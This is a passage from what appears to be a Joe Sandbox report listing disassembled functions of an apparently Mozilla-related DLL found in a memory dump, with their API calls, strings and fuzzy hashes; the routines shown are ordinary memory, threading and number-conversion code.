Opcode Fuzzy Hash: 9d55f94b26403836a374eeb8a4c2961330dcbf3c1688b0b86063507708a7a616
Instruction Fuzzy Hash: 03517E71E041698FCF08DFA8C894BBEBBB2FB89318F198619D855A7754C7306985CBD0

Function 6CACCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CACCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CACCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CACCF4E

Strings

0, xrefs: 6CACCF30

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 4fe4811b863f3a1eb715586e3f3fe80a2b7836cec2c5af6025e8293575852abc
Instruction ID: 8e30be397197b6df6895e42b29fa2572f8f40b43e2cbec36124721a822538efa
Opcode Fuzzy Hash: 4fe4811b863f3a1eb715586e3f3fe80a2b7836cec2c5af6025e8293575852abc
Instruction Fuzzy Hash: 11510375A0026A8FCB00CF18C890A9ABBB5EF99304F19869DD8595F751D731ED46CBE0

Function 6CB277D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB277FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CB27829

Part of subcall function 6CAFCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CAC31A7), ref: 6CAFCC45
Part of subcall function 6CAFCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CAC31A7), ref: 6CAFCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB2789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB278CF

Part of subcall function 6CAC4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAC4E5A
Part of subcall function 6CAC4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAC4E97

Part of subcall function 6CAC4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB03EBD,6CB03EBD,00000000), ref: 6CAC42A9

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 0b5ec3de8f68857cb3e8d407d93ee0e86315785f518f48339e627ef4fa9799f0
Instruction ID: 18d58dff9db6813214b9047d24ae3ffe2b522e8466ec6e97ed09419b2ef245b8
Opcode Fuzzy Hash: 0b5ec3de8f68857cb3e8d407d93ee0e86315785f518f48339e627ef4fa9799f0
Instruction Fuzzy Hash: EF419F719047469BD300DF29D48056BFBF4FF8A258F204B2DE4A997740DB70E599CB92

Function 6CB06470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB082BC,?,?), ref: 6CB0649B

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB064A9

Part of subcall function 6CAFFA80: GetCurrentThreadId.KERNEL32 ref: 6CAFFA8D
Part of subcall function 6CAFFA80: AcquireSRWLockExclusive.KERNEL32(6CB4F448), ref: 6CAFFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0653F
free.MOZGLUE(?), ref: 6CB0655A

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 9d5e803bb304a60889f235888a00358edec1cfc4782faa07200494242bf31a68
Instruction ID: c3165460090e26ea2ba3e290d562ce80145f5d3f8e80929e0ddbd91b1d7ad86e
Opcode Fuzzy Hash: 9d5e803bb304a60889f235888a00358edec1cfc4782faa07200494242bf31a68
Instruction Fuzzy Hash: C2318FB5A043559FC700DF24D884A9EBBF4FF89318F40842EE85A87740EB30E919CB92

Function 6CAFFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CB1D019,?,?,?,?,?,00000000,?,6CB0DA31,00100000,?), ref: 6CAFFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CB1D019,?,?,?,?,?,00000000,?,6CB0DA31,00100000,?,?), ref: 6CAFFFF5
free.MOZGLUE(?,?,?,?,?,6CB1D019,?,?,?,?,?,00000000,?,6CB0DA31,00100000,?), ref: 6CB0001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CB1D019,?,?,?,?,?,00000000,?,6CB0DA31,00100000,?,?), ref: 6CB0002A

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 480b23dfd1687e667e61c1bea0b3e226931abf5eaa7bfa3c5424527aa17fe922
Instruction ID: 09279b4b319d6c74e387a28e576537ed7ee4cdaa3c4e70e2d962287739bd2299
Opcode Fuzzy Hash: 480b23dfd1687e667e61c1bea0b3e226931abf5eaa7bfa3c5424527aa17fe922
Instruction Fuzzy Hash: B821D3B2B002155BD7089E7CEC948AFB7FAFB853247250738E925D7780EA70AD4687D1

Function 6CADB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CADB4F5
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CADB502
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CADB542
free.MOZGLUE(?), ref: 6CADB578

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6101ae955de5ae506b0a842eb427b19c2169c5e56f3b7c3d562dcd88ec269dee
Instruction ID: 605c4ce77ff432edaada1537597ee3b171985dc6fe863ef8ac6819d20fc805d2
Opcode Fuzzy Hash: 6101ae955de5ae506b0a842eb427b19c2169c5e56f3b7c3d562dcd88ec269dee
Instruction Fuzzy Hash: 2D110335A18B41C7D712DF29E4007A6B3B1FFDA328F15970AE84A53B01EBB0B1C48790

Function 6CB03DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CACF20E,?), ref: 6CB03DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CACF20E,00000000,?), ref: 6CB03DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB03E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB03E0E

Part of subcall function 6CAFCC00: GetCurrentProcess.KERNEL32(?,?,6CAC31A7), ref: 6CAFCC0D
Part of subcall function 6CAFCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAC31A7), ref: 6CAFCC16

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: bb07e0dcbb9b1f7dd9b427afa3b9ba76ee2fba6d0c9b42a18b0118484052a4d1
Instruction ID: 366f69d4fa67b5cf502cfbffd1078ee772acb79da40eff2a0cc90ecefd1e78cf
Opcode Fuzzy Hash: bb07e0dcbb9b1f7dd9b427afa3b9ba76ee2fba6d0c9b42a18b0118484052a4d1
Instruction Fuzzy Hash: 3CF082B16002087BDB00AB54DC41DAF372CEB46628F044020FE0C57701D635BD1986F7

Function 6CB120B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB120B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CAFFBD1), ref: 6CB120C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CAFFBD1), ref: 6CB120DA
free.MOZGLUE(00000000,?,6CAFFBD1), ref: 6CB120F1

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 133c0f13a70c54d66de762e7dcfcdff9ff91ee6d24c11c75cac5201840db2193
Instruction ID: 2c02f96d91fa36788746ccc392c69c8d4a09ac1cd6e111cde50c756c793233d8
Opcode Fuzzy Hash: 133c0f13a70c54d66de762e7dcfcdff9ff91ee6d24c11c75cac5201840db2193
Instruction Fuzzy Hash: D6E06531608A249BC620AF25D80894EB7FDFF87318B14462AE54683F00E776A54A86D6

Function 6CB185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB185D3

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB18725

Strings

map/set<T> too long, xrefs: 6CB18720

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 21016f4fffcec0823a11a413342aa6bb225663f889a27576be8a30fe8c096d0b
Instruction ID: 12b2cc384c640e008affe006470298027fdef9f0c8743b83ddc491900fe92c12
Opcode Fuzzy Hash: 21016f4fffcec0823a11a413342aa6bb225663f889a27576be8a30fe8c096d0b
Instruction Fuzzy Hash: B9516774A08681CFD701CF18C184A59BBF1FF5A318F1AC29AD8595BB52C336E885CF92

Function 6CACBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CACBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CACBE8F

Strings

0, xrefs: 6CACBE5B

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 30c72bb16dc3f805d0e1f799b3f682c25f2c0ddb96b4a0876e643c7f2cd8a26e
Instruction ID: 3cc5dbb65f492285a3eb11282921ecb385a1dc5318ad33ecf8f132c50b4bad16
Opcode Fuzzy Hash: 30c72bb16dc3f805d0e1f799b3f682c25f2c0ddb96b4a0876e643c7f2cd8a26e
Instruction Fuzzy Hash: D1418E71A09745CFC701CF38E481A9BB7F4AF8A748F004B1DF995AB611D73299898B83

Function 6CB03CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB03D19
mozalloc_abort.MOZGLUE(?), ref: 6CB03D6C

Strings

d, xrefs: 6CB03D58

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 03aecd1c3baacb2fe17cb53e5cc93dc4c65e60f63eea31855658a3c9b4af54cf
Instruction ID: 96d20c859171d2ce77f5c3184c7881199633fe405b283008376ed7f1f996d944
Opcode Fuzzy Hash: 03aecd1c3baacb2fe17cb53e5cc93dc4c65e60f63eea31855658a3c9b4af54cf
Instruction Fuzzy Hash: 8D11BF35F086D89BDB019B69DC188ADBB75EF96218B448318EC599B602FB30A5C4C790

Function 6CAD4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAD44B2,6CB4E21C,6CB4F7F8), ref: 6CAD473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAD474A

Strings

GetNtLoaderAPI, xrefs: 6CAD4744

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 72b93879cbdc8028e81d9f5c7d6451c520d6ff90e0b3f4cc5a964b065e30984b
Instruction ID: b92346d4611293bb862357465e9b42e65eef971037fd0a522e41266f93f07257
Opcode Fuzzy Hash: 72b93879cbdc8028e81d9f5c7d6451c520d6ff90e0b3f4cc5a964b065e30984b
Instruction Fuzzy Hash: 6901B5757042548FDF00AFA9D454A2D7BF9FB8B315B098469EA05CB304DB74E8018F91

Function 6CB26DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB26E22
__Init_thread_footer.LIBCMT ref: 6CB26E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB26E1D

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e42c8469715c6845a1904294d4f68ab808be531da9b0544fda25b45507606bd7
Instruction ID: fd2345b7eaa61f1401bc65cf0cdf91fd135d0589f76b6a892efa3a7d30dafa31
Opcode Fuzzy Hash: e42c8469715c6845a1904294d4f68ab808be531da9b0544fda25b45507606bd7
Instruction Fuzzy Hash: 23F05939A0C2C0CBDB00BBA8C950AA37372F31332CF048165C81847B59D734A91BCA93

Function 6CAD9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAD9EEF

Strings

Infinity, xrefs: 6CAD9EB7
NaN, xrefs: 6CAD9EC1

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: c44dc088080a700b6af2324e41365426330eadfa0b2bd2926dee2844a5bb68a6
Instruction ID: d355c786ac95e73861ee85fe5e10b33ef7ce73f1137d31d3a352e2c636b7d6a0
Opcode Fuzzy Hash: c44dc088080a700b6af2324e41365426330eadfa0b2bd2926dee2844a5bb68a6
Instruction Fuzzy Hash: 4AF0F67160C3A2CBDB00EF58DA557A23372B30731DF24CA94C5040BB48DB35B986CB82

Function 6CADBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CADBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CADBEF5

Strings

cryptbase.dll, xrefs: 6CADBEF0

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 9fdb94bc3c8e0e03075fe1f6e64a023f530f20b64f63e2f24e703ed4f425a766
Instruction ID: 1226fd8542382ae884a6ca080cc2adfb9ea61ca6fd7be2d68a1b1e20f15bffc9
Opcode Fuzzy Hash: 9fdb94bc3c8e0e03075fe1f6e64a023f530f20b64f63e2f24e703ed4f425a766
Instruction Fuzzy Hash: D6D0A7311C8508E6C604BA509C05F193774A701729F10C420F34545851CBB0A450CF40

Function 6CAC50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAC4E9C,?,?,?,?,?), ref: 6CAC510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAC4E9C,?,?,?,?,?), ref: 6CAC5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CAC5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAC4E9C), ref: 6CAC5234

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: f6ca715366601a3a31bfe93154bcdcdbeb664a7a1b47c0b9e897f16025b2035c
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 4691AE75605656CFCB14CF08C890A5ABBA1FF99318B28868CEC589B715D731FC82CBE1

Function 6CB008F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E7DC), ref: 6CB00918
LeaveCriticalSection.KERNEL32(6CB4E7DC), ref: 6CB009A6
EnterCriticalSection.KERNEL32(6CB4E7DC,?,00000000), ref: 6CB009F3
LeaveCriticalSection.KERNEL32(6CB4E7DC), ref: 6CB00ACB

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 842e3e7573f6517fa02d5e2000e028f629c9a610d5b5bc212c8eec06c65b387c
Instruction ID: 1112b777ff28e1c9b103ba8c244b97177bd3d0688ffbce0d808b4cbedf1de1aa
Opcode Fuzzy Hash: 842e3e7573f6517fa02d5e2000e028f629c9a610d5b5bc212c8eec06c65b387c
Instruction Fuzzy Hash: 8F511C3670A9D0CFEB04EF59D400A6A77B1FB81B38725C139D96597F84D730E84186D1

Function 6CB1B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB1B2C9,?,?,?,6CB1B127,?,?,?,?,?,?,?,?,?,6CB1AE52), ref: 6CB1B628

Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB190FF
Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB19108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB1B2C9,?,?,?,6CB1B127,?,?,?,?,?,?,?,?,?,6CB1AE52), ref: 6CB1B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB1B2C9,?,?,?,6CB1B127,?,?,?,?,?,?,?,?,?,6CB1AE52), ref: 6CB1B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB1B127,?,?,?,?,?,?,?,?), ref: 6CB1B74D

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
